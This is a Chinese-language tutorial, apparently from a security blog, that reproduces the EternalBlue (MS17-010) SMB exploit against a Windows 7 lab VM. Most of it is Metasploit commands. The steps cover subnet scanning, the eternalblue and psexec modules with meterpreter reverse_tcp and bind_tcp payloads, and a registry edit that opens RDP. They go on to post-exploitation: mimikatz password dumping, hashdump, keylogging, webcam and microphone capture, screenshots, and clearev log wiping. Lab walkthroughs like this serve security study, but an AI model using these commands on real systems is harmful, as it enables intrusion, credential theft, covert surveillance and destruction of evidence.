漏洞原理
简介:
永恒之蓝漏洞是方程式组织在其漏洞利用框架中一个针对SMB服务进行攻击的漏洞,该漏洞导致攻击者在目标系统上可以执行任意代码。
注:SMB服务的作用:该服务器在windows与UNIX系列OS之间搭建起一座桥梁,让两者的资源可互通有无。
漏洞原理代码详解
下面两篇文章从实际代码详细分析了漏洞原理,想要从代码详细理解漏洞的同学可以点击查看
- http://blogs.360.cn/post/nsa-eternalblue-smb.html#toc-772
- https://blog.csdn.net/qq_27446553/article/details/73480807
漏洞复现
工具准备
首先我们需要准备一台kali攻击机,IP:172.22.163.97和一台开放445端口有永恒之蓝漏洞的win7虚拟机,IP:172.22.162.210信息收集
信息收集的方法有很多,我们可以使用nmap,nc等来获取被攻击机的一些版本信息,我们也可以使用kali的metasploit中的扫描模块。尝试攻击
在kali终端中输入msfconsole
- 搜索漏洞模块
在kali终端输入search ms17-010
- 加载扫描模块
use auxiliary/scanner/smb/smb_ms17_010
输入要扫描的IP扫描结果显示该主机很容易受到ms17-010的攻击set rhosts 172.22.162.210
run
如果要进行全网段扫描可以在设置目标的时候输入set rhosts 网段/掩码位数
,再设置线程set threads 100
就可以进行全网段扫描了。 - 使用攻击模块选择攻击模块时要注意选择合适的版本,有些版本适用于win8以上
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/reverse_tcp
set rhosts 172.22.162.210
set lhost 172.22.163.97
run
set payload
:设置payload,这里用set payload windows/x64/meterpreter/reverse_tcp
因为目标主机是64位主机,所以我们要用到的payload为windows x64,要选用其他payload可以使用show payloads查看适合要攻击的目标主机的payloadshow options
:使用该命令会列出使用当前模块所需要配置的参数set rhosts
:目标主机地址:该命令会设置好需要攻击的目标主机地址set lhost
:攻击机地址:该命令设置攻击机的地址,是目标主机回连至攻击机set lport
:回连的端口:该命令会设置主机回连至攻击机的端口,默认为4444run
:开始攻击
攻击成功后攻击机和目标主机之间会建立一个连接,得到一个meterpreter回话
get shell
- 获取shell(windwos主机的cmd)
如果发现乱码输入chcp 65001
即可改变编码 - 提权
当我们获取了shell后权限是很低的,这个时候我们就新建一个名为test的管理员,密码为123456 - 远程连接
打开3389端口方便我们远程连接这台主机REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
新建一个终端窗口输入rdesktop 172.22.162.210
-u
:指定用户名-p
:指定密码-f
:全屏显示
更多参数输入rdesktop --help
选择其他用户登录我们之前创建的test用户就可以图形化操作了
该永恒之蓝模块只适用于64位win7和server2008
要是现在有一台存在漏洞的32位2003系统该怎么办
这里我们就需要用到永恒之蓝的另一个模块use exploit/windows/smb/ms17_010_psexec
这个模块支持server2003这样的老系统并支持32位系统set payload windows/meterpreter/bind_tcp
msf后渗透
返回Metasploit继续操作
在之前的shell界面输入exit
- 查看用户密码
- 加载mimikatz:
laod mimikatz
- 获取明文密码:
kerberos
,如果开机没使用密码kerberos是抓取不到的,也可以用wdigest
- 加载mimikatz:
如果在提权之前用kerberos获取到内存中的管理员密码可以减少提权这一步哦
getuid
查看当前用户
sysinfo
查看系统信息
ifconfig
查看网卡信息
ps
查看任务管理器
hashdump
查看用户hash
- 监听键盘记录
首先我们要迁移到对应用户的进程上
先用ps查看下进程
我们发现administrator的进程为1968migrate 1968
将进程迁移到administrator进程上getuid
查看当前用户已经切换到了administratorkeyscan_start
开始监听键盘记录
这时我们模拟一下登录qq邮箱keyscan_dump
查看监听的键盘记录
通过监听键盘记录发现主机访问了qq邮箱输入了qq号:te退格退格123456和密码:test123tabtest132keyscan_stop
停止键盘监听
uictl
键盘/鼠标开关必须要32位主机uictl enable/disable keyboard
开启或禁用键盘uictl enable/disable mouse
开启或禁用鼠标uictl enable/disable all
开启或禁用键盘鼠标
webcam
查看摄像头webcam_list
:查看摄像头列表webcam_snap
:通过摄像头拍照webcam_stream
:通过摄像头开启视频
由于我是虚拟机,检测不到摄像头驱动。
execute
执行文件execute -f
执行制定文件execute -H -i -f cmd.exe
创建新的cmd,-H不可见,-i交互
screenshot
:截屏screenshare
:查看实时共享屏幕左边为攻击机,右边为被攻击主机
record_mic
:记录声音clearev
:清理日志
严重声明:本站内容仅适于网络安全技术和信息安全爱好者学习研究使用,禁止用于非法用途,学习中请遵循国家相关法律法规,共同维护网络安全